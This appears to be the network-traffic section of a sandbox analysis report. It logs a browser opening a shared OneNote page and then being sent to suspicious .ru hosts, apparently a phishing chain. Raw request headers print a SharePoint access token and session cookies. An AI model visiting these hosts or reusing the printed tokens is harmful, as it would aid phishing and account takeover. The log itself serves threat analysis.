https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtectedAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de
Source: global traffic	HTTP traffic detected: GET /files/fabric-cdn-prod_20240129.001/assets/icons/fabric-icons-a13498cf.woff HTTP/1.1Host: res.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usc-onenote.officeapps.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://usc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 3X-WacFrontEnd: SN3PEPF000091BAX-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fsec-ch-ua-mobile: ?0X-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-IsCoauthSession: trueX-WacCluster: PUS6sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=
Source: global traffic	HTTP traffic detected: GET /officeaddins/learningtools/?et= HTTP/1.1Host: www.onenote.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://usc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1Host: amcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usc-onenote.officeapps.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://usc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usc-onenote.officeapps.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://usc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /officeaddins/RemoteUls.ashx HTTP/1.1Host: www.onenote.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=20240424.1 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=20240424.1 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PUS3-ARRAffinity=c2b15893418d6fcf7b43568bf311dd6186fe02d8d96455beabbe7d072166f72d
Source: global traffic	HTTP traffic detected: GET /admincenter/admin-main/2024.4.18.3/floodgate.en.bundle.js HTTP/1.1Host: res.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1L9z9v39/ HTTP/1.1Host: 4odq.cxnev1.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4odq.cxnev1.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4odq.cxnev1.ru/1L9z9v39/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InFNR1c0ZU5jUjJqZkRoa3NtcU1jaXc9PSIsInZhbHVlIjoia2hKZ2JIWXVkaGF3VzZsbFBuVS9sOTRJdVdEY3BsclFYdVVTMGI4RnlXSUJVOUhSMEN1SnNCTUlKdTNBemxrVVlEOFFVMEdTNm5vMjlmbjNDVXErYWcvQ1VtdEFzN3pOY3hWUkdETWRGb2QxbEpPdzhLMFZNQURqc0E5WTB6YnMiLCJtYWMiOiIxZDFhYjFlYjA3NTNkYzhlYmEyYmIzMWYyNDFmY2VjOWNiMmFiOGVkN2Q2NjAwZDUzNzA1MDc4NGExMDYzMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhrZjdLYW93U2E3akpXYXc2REdBSmc9PSIsInZhbHVlIjoiaFQ5UVVJZnc3a0UwbVVyMHR1cElRKzlsUUEybGRNajgrelJQV3kyN01CYmVzSmYwazlIK2NMMXVYK2J6WUxnY1lKc0VsUTFtdHZVQkRyUUcvd2Y1RE14WDl2NjVQSXdmS0J5c211Z0UwcXJmSWxzcWRFVWNVZjYrVEtxaHEyS1YiLCJtYWMiOiJmNTRjMDkzMWM2YTZmYTczMDFjN2ZjZWFhOTA5NDkyMTNmZTYwN2NlMGRkNjYyMWNhYTVmZGQ2YmJhNzc5N2Q2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB HTTP/1.1Host: yo5.6gniu68.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://4odq.cxnev1.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB HTTP/1.1Host: yo5.6gniu68.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.ab1050286d8e7e0c7bc0.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.slim.9fbed861128f4d4b51ef.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
